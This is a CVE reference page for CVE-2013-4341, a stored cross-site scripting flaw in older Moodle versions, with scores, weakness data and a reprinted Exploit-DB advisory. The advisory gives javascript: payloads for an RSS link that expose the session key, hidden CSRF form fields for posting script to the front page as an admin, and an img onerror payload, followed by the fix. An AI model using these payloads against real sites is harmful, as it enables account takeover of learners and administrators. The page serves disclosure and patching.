English
Français
Light
Dark
System

Alert System

Stay informed at all times
Create an account Open a free account Login Manage your alerts

CVE-2013-4341 : Detail

CVE-2013-4341

Cross-site Scripting
A03-Injection
0.17%V3
Network
2013-09-16 08:00 +00:00
2021-10-12 15:06 +00:00
CVE.org
NVD

Alert for a CVE

Stay informed of any changes for a specific CVE.
Alert management

Descriptions

Multiple cross-site scripting (XSS) vulnerabilities in Moodle through 2.2.11, 2.3.x before 2.3.9, 2.4.x before 2.4.6, and 2.5.x before 2.5.2 allow remote attackers to inject arbitrary web script or HTML via a crafted blog link within an RSS feed.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Metrics

Metric Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 28174

Publication date : 2013-09-08 22:00 +00:00
Author : Ciaran McNally
EDB Verified : No

####################################################################### Ciaran McNally Application: Moodle http://download.moodle.org/ Versions: <= 2.3.8, 2.4.5 Platforms: Windows, Mac, Linux Bug: Persistant XSS / CSRF Exploitation: WEB Date: 9 September 2013. Author: Ciaran McNally Web: http://makthepla.net/blog/=/moodle-2-account-takeover My Twitter: https://twitter.com/ciaranmak ####################################################################### 1) Bug. 2) The exploit. 3) Fix. ####################################################################### Moodle is a Course Management System (CMS), also known as a Learning Management System (LMS) or a Virtual Learning Environment (VLE). It is a Free web application that educators can use to create effective online learning sites. ####################################################################### ====== 1) Bug ====== At the following URL as a student, http://server/blog/external_blog_edit.php It is possible to remotely add an rss blog. The <link> parameter in an rss feed is vulnerable to javascript injection. This blog post is viewable by everyone on moodle and you can link to it directly. Upon clicking the "Link to original blog entry" link, you get javascript execution. In moodle the "sesskey" parameter holds the session key used to prevent csrf, this isn't unique for every form once logged in so many forms can be submitted using this item. It is available on every page which makes xss quite dangerous in this case. ####################################################################### ============== 2) The exploit ============== Using a link value of <link>javascript:prompt(document.domain);</link> This will display a demonstrative prompt as expected. For a live example you can remotely include my blog rss feed. http://makthepla.net/Rss/ My moodle blog post has a <link> value of the following. javascript:alert("Session key = "+M.cfg.sesskey+"\nUser ID = "+window.location.search.split("=")[1]); This displays the session key and the current users id. If you can get an admin to click the link and submit the following form trough javascript, you can post xss onto the main login page of your victim moodle site. <input type="hidden" name="id" value="1"> <input type="hidden" name="sr" value="0"> <input type="hidden" name="sesskey" value="x"> <input type="hidden" name="_qf__editsection_form" value="1"> <input type="hidden" name="mform_isexpanded_id_generalhdr" value="1"> <input type="hidden" name="userdefaultname" value="1"> <input type="hidden" name="summary_editor[text]" value="THE FRONT PAGE DATA AND/OR XSS"> <input type="hidden" name="summary_editor[format]" value="1"> <input type="hidden" name="summary_editor[itemid]" value=""> <input type="hidden" name="submitbutton" value="Save+changes"> You can read more about this on the original blog post. You can get xss on the main login easily using html such as <img src=x onerror=XSS> when posting as an admin via csrf. ####################################################################### ====== 3) Fix ====== https://tracker.moodle.org/browse/MDL-41623 (This requires a login to view) Upgrade to versions 2.3.9, 2.4.6 and 2.5.2. ####################################################################### -- maK :)

Products Mentioned

Configuraton 0

Moodle>>Moodle >> Version To (including) 2.2.11

Moodle>>Moodle >> Version 2.3.0

Moodle>>Moodle >> Version 2.3.1

Moodle>>Moodle >> Version 2.3.2

Moodle>>Moodle >> Version 2.3.3

Moodle>>Moodle >> Version 2.3.4

Moodle>>Moodle >> Version 2.3.5

Moodle>>Moodle >> Version 2.3.6

Moodle>>Moodle >> Version 2.3.7

Moodle>>Moodle >> Version 2.3.8

Moodle>>Moodle >> Version 2.4.0

Moodle>>Moodle >> Version 2.4.1

Moodle>>Moodle >> Version 2.4.2

Moodle>>Moodle >> Version 2.4.3

Moodle>>Moodle >> Version 2.4.4

Moodle>>Moodle >> Version 2.4.5

Moodle>>Moodle >> Version 2.5.0

Moodle>>Moodle >> Version 2.5.1

References


More information
Click on the button to the left (OFF), to authorize the inscription of cookie improving the functionalities of the site. Click on the button to the left (Accept all), to unauthorize the inscription of cookie improving the functionalities of the site.